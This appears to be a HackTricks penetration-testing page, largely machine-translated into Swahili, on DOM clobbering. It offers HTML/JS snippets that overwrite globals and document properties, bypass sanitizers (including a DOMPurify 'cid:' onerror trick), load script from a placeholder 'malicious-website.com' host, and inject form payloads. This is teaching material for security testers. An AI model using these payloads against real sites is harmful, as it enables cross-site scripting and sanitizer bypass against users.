hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md

12 KiB

Dom Clobbering

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Misingi

Inawezekana kuunda vigezo vya kimataifa ndani ya muktadha wa JS kwa kutumia sifa id na name katika vitambulisho vya HTML.

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

Tu vipengele fulani vinaweza kutumia sifa ya jina kuclobber globals, ni: embed, form, iframe, image, img na object.

Kwa kushangaza, unapokuwa unatumia kipengele cha fomu ku clobber kiambato, utapata toString thamani ya kipengele chenyewe: [object HTMLFormElement] lakini kwa kiungo toString itakuwa href ya kiungo. Hivyo, ikiwa unaclobber kwa kutumia a tag, unaweza kontrol thamani wakati inachukuliwa kama string:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

Arrays & Attributes

Ni pia inawezekana kuharibu array na sifa za kitu:

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

Ili kuharibu sifa ya 3rd (mfano x.y.z), unahitaji kutumia form:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

Clobbering zaidi ya sifa ni ngumu zaidi lakini bado inawezekana, kutumia iframes:

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

{% hint style="warning" %} Tag ya style inatumika kutoa muda wa kutosha kwa iframe kuonyesha. Bila yake utaona arifa ya undefined. {% endhint %}

Ili kuharibu sifa za ndani zaidi, unaweza kutumia iframes zenye uandishi wa html hivi:

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

Kupita Kichujio

Ikiwa kichujio kina zunguka kupitia mali za nodi kwa kutumia kitu kama document.getElementByID('x').attributes unaweza kuharibu mali .attributes na kuvunja kichujio. Mali nyingine za DOM kama tagName, nodeName au parentNode na zaidi pia zinaweza kuharibiwa.

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

Clobbering window.someObject

Katika JavaScript ni kawaida kukutana na:

var someObject = window.someObject || {};

Kuhariri HTML kwenye ukurasa kunaruhusu kubadilisha someObject na nodi ya DOM, ambayo inaweza kuleta udhaifu wa usalama. Kwa mfano, unaweza kubadilisha someObject na kipengele cha kiungo kinachorejelea skripti mbaya:

<a id=someObject href=//malicious-website.com/malicious.js></a>

Katika msimbo unaoweza kuathiriwa kama:

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

This method exploits the script source to execute unwanted code.

Trick: DOMPurify allows you to use the cid: protocol, which does not URL-encode double-quotes. This means you can inject an encoded double-quote that will be decoded at runtime. Therefore, injecting something like <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> will make the HTML encoded &quot; to be decoded on runtime and escape from the attribute value to create the onerror event.

Another technique uses a form element. Certain client-side libraries inspect the attributes of a newly created form element to clean them. However, by adding an input with id=attributes inside the form, you effectively overwrite the attributes property, preventing the sanitizer from accessing the actual attributes.

You can find an example of this type of clobbering in this CTF writeup.

Clobbering document object

According to the documentation it's possible to overwrite attributes of the document object using DOM Clobbering:

The Document interface supports named properties. The supported property names of a Document object document at any moment consist of the following, in tree order according to the element that contributed them, ignoring later duplicates, and with values from id attributes coming before values from name attributes when the same element contributes both:

- The value of the name content attribute for all exposed embed, form, iframe, img, and exposed object elements that have a non-empty name content attribute and are in a document tree with document as their root;

- The value of the id content attribute for all exposed object elements that have a non-empty id content attribute and are in a document tree with document as their root;

- The value of the id content attribute for all img elements that have both a non-empty id content attribute and a non-empty name content attribute, and are in a document tree with document as their root.

Using this technique you can overwrite commonly used values such as document.cookie, document.body, document.children, and even methods in the Document interface like document.querySelector.

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

Kuandika baada ya kipengele kilichoharibiwa

Matokeo ya wito kwa document.getElementById() na document.querySelector() yanaweza kubadilishwa kwa kuingiza tagi ya <html> au <body> yenye sifa ya id sawa. Hapa kuna jinsi inavyoweza kufanywa:

<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>

Zaidi ya hayo, kwa kutumia mitindo kuficha hizi lebo za HTML/body zilizoongezwa, kuingiliwa na maandiko mengine katika innerText kunaweza kuzuiwa, hivyo kuboresha ufanisi wa shambulio:

<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Uchunguzi wa SVG ulibaini kwamba tag <body> pia inaweza kutumika kwa ufanisi:

<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Ili tag ya HTML ifanye kazi ndani ya SVG katika vivinjari kama Chrome na Firefox, tag ya <foreignobject> inahitajika:

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Clobbering Forms

Inawezekana kuongeza ingizo jipya ndani ya fomu kwa ku ainisha sifa ya form ndani ya baadhi ya lebo. Unaweza kutumia hii ku ongeza thamani mpya ndani ya fomu na hata kuongeza kitufe kipya cha kutuma (clickjacking au kutumia baadhi ya msimbo wa JS .click()):

{% code overflow="wrap" %}

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

{% endcode %}

Marejeo

{% hint style="success" %} Jifunze & fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze & fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}